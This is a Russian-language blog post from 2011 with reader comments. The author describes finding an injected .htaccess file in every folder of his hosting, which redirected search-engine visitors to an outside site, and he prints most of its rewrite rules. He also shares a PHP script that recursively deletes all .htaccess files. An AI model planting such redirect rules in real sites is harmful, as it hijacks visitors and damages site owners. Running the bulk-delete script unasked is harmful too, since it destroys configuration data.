Фев 11, 2011 Андрей Малахов Саморазвитие и личностный рост 3
Сегодня решил выпустить заметку, совершенно не соответствующую основной тематике сайта. Но кто сказал, что эта информация не будет полезна рядовым читателям?
Итак суть проблемы была в следующем. Я постоянно слежу за статистикой сайта и где-то в конце января заметил, что поисковые системы не находят мой блог. Точнее они то находят, все страницы в индексе. Но ни одной страницы нет в поисковой выдаче. И так происходило со всеми 5 сайтами на моем хостинге. Единовременно. Это меня удивило и озадачило. 2 недели я думал над этим вопросом, решил несколько багов в каждом сайте, но это не могло повлиять на одномоментное исключение всех моих сайтов. Думал, что проблема в хостинге. Связывался с тех. поддержкой, мне ответили, что хостинг работал стабильно, единственно меняли php на более позднюю версию (на 5.2.14 кажется). В общем никто мне ничего вразумительного сказать так и не смог.
И тут по воле случая (точнее все было закономерно;)) мне понадобилось изучить файл .htaccess. При изучении этого файла возникло желание поэкспериментировать с различными его опциями. Вот и решил сделать пробный такой файл. Написал пару строк. Решил залить на хост. И какое было мое удивление, когда я обнаружил уже залитый файл .htaccess в одной из корневых папок. Я его туда не помещал. Первой мыслью было, что он создан автоматически какой нибудь установленной CMS. Однако в той папке системы управления контентом не было. Любопытность не заставила себя ждать и я решил взглянуть на «готовый» файл .htaccess. Вот его краткое содержание:
.htaccess
# exgocgkctswo
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^GET$
RewriteCond %{HTTP_REFERER} ^(http\:\/\/)?([^\/\?]*\.)?(google\.|yahoo\.|
bing\.|msn\.|yandex\.|ask\.|excite\.|altavista\.|netscape\.|aol\.|hotbot\.|
goto\.|infoseek\.|mamma\.|alltheweb\.|lycos\.|search\.|metacrawler\.|
rambler\.|mail\.|dogpile\.|ya\.|\/search\?).*$ [NC]
RewriteCond %{HTTP_REFERER} !^.*(q\=cache\:).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Accoona|Ace\sExplorer|Amfibi|
Amiga\sOS|apache|appie|AppleSyndication).*$ [NC]
.........
RewriteCond %{HTTP_COOKIE} !^.*xccgtswgokoe.*$
RewriteCond %{HTTPS} ^off$
RewriteRule ^(.*)$ http://trialworld.net/cgi-bin/r.cgi?p=15005&
i=845831cf&j=318&m=6ac39c617b142eabbdb4a9d51cfcca4c&
h=%{HTTP_HOST}&u=%{REQUEST_URI}&q=%{QUERY_STRING}
&t=%{TIME}[R=302,L,CO=xccgtswgokoe:1:
%{HTTP_HOST}:10080:/:0:HttpOnly]
# exgocgkctswo
И тогда началось самое интересное! я обратил внимание на 1 и последнюю строки # exgocgkctswo. Меня это заинтриговало и решил пробить в поиске. В РуНете ничего подобного не было. Зато западный просто кишит сообщениями с этой строкой.
Что оказалось? Каким то образом файл .htaccess с вышеуказанным содержимым попадал в каждый каталог и субкаталог хостинга. При обращении поисковой системы/пользователя к странице, где лежит вирусный файл, сначала исполняется все его содержимое, а потом уже все остальные команды. То есть htaccess переправлял весь трафик с поиска на указанный сайт, а именно http://trialworld.net. Смысл в том, что поисковики это просекли, посчитали редиректом, признаком дорвея и исключили все страницы из выдачи. Обидно блин, но это так. Сейчас исправил все у себя, посмотрим, вернется ли выдача на прежнее место.
Как я боролся со всей этой х.ней. Главная задача состояла в удалении всех htaccess файлов из всех каталогов хостинга. Конечно ручками это было бы напряжно поэтому выкладываю небольшой скрипт. Налетай кому надо. Важный момент!!! Этот скрипт удаляет все .htaccess файлы из всех каталогов, поэтому желательно бы иметь резервные копии нормальных файлов и адреса куда их потом залить.
RemoveHTACCESS.php
<?php
function searchDir($dir) {
$dhandle = opendir($dir);
if ($dhandle) {
// loop through it
while (false !== ($fname = readdir($dhandle))) {
// if the element is a directory, and
// does not start with a '.' or '..'
// we call searchDir function recursively
// passing this element as a parameter
if (is_dir( "{$dir}/{$fname}" )) {
if (($fname != '.') && ($fname != '..')) {
echo "<u>Searching Files in the
Directory</u>: {$dir}/{$fname} <br />";
searchDir("$dir/$fname");
}
// the element if it is a .htaccess file, we delete it
} else {
if($fname == ".htaccess")
{
echo "File: {$dir}/{$fname} <br />";
unlink("{$dir}/{$fname}");
}
}
}
closedir($dhandle);
}
}
searchDir(".");
?>
Вышеприведенный скрипт заливаете на хостинг и запускаете. Он ищет все htaccess файлы и удаляет их (в том числе и нормальные). Поэтому необходимые «правильные файлы» заливаете на хостинг из бекапа. И радуетесь возвращению сайтов в ряды получателей посетителей с поисковых систем.
Так как я еще не определил источник этого вируса, сразу сменил пароль от админки хостинга, что и вам советую. Дальше я еще буду исследовать этот вопрос, поэтому следите за моими постами. До скорого…
Подпишитесь на rss-ленту и вы всегда будете в курсе всех событий
Это Андрей Малахов. Продолжение следует…
Поделитесь этой статьей с друзьями. Они скажут вам "Спасибо!":
Янв 19, 2015 0
Янв 04, 2015 0
Дек 29, 2014 0
Дек 25, 2014 0
Мне интересна "Эффективная стратегия Форекс трейдинга" от Андрея Малахова
U menia toze samoje, i vrode posle tovo kak vzlamal windows 7 ultimate s crackom. Mozet i vy s windowsami igralis pered etim?
Нет, тут дело не в виндовсе. Я его не перестанавливал. Это проблема в доступности хостинга к атаке.
Тоже обнаружил на одном своём сайте аналогичный .htaccess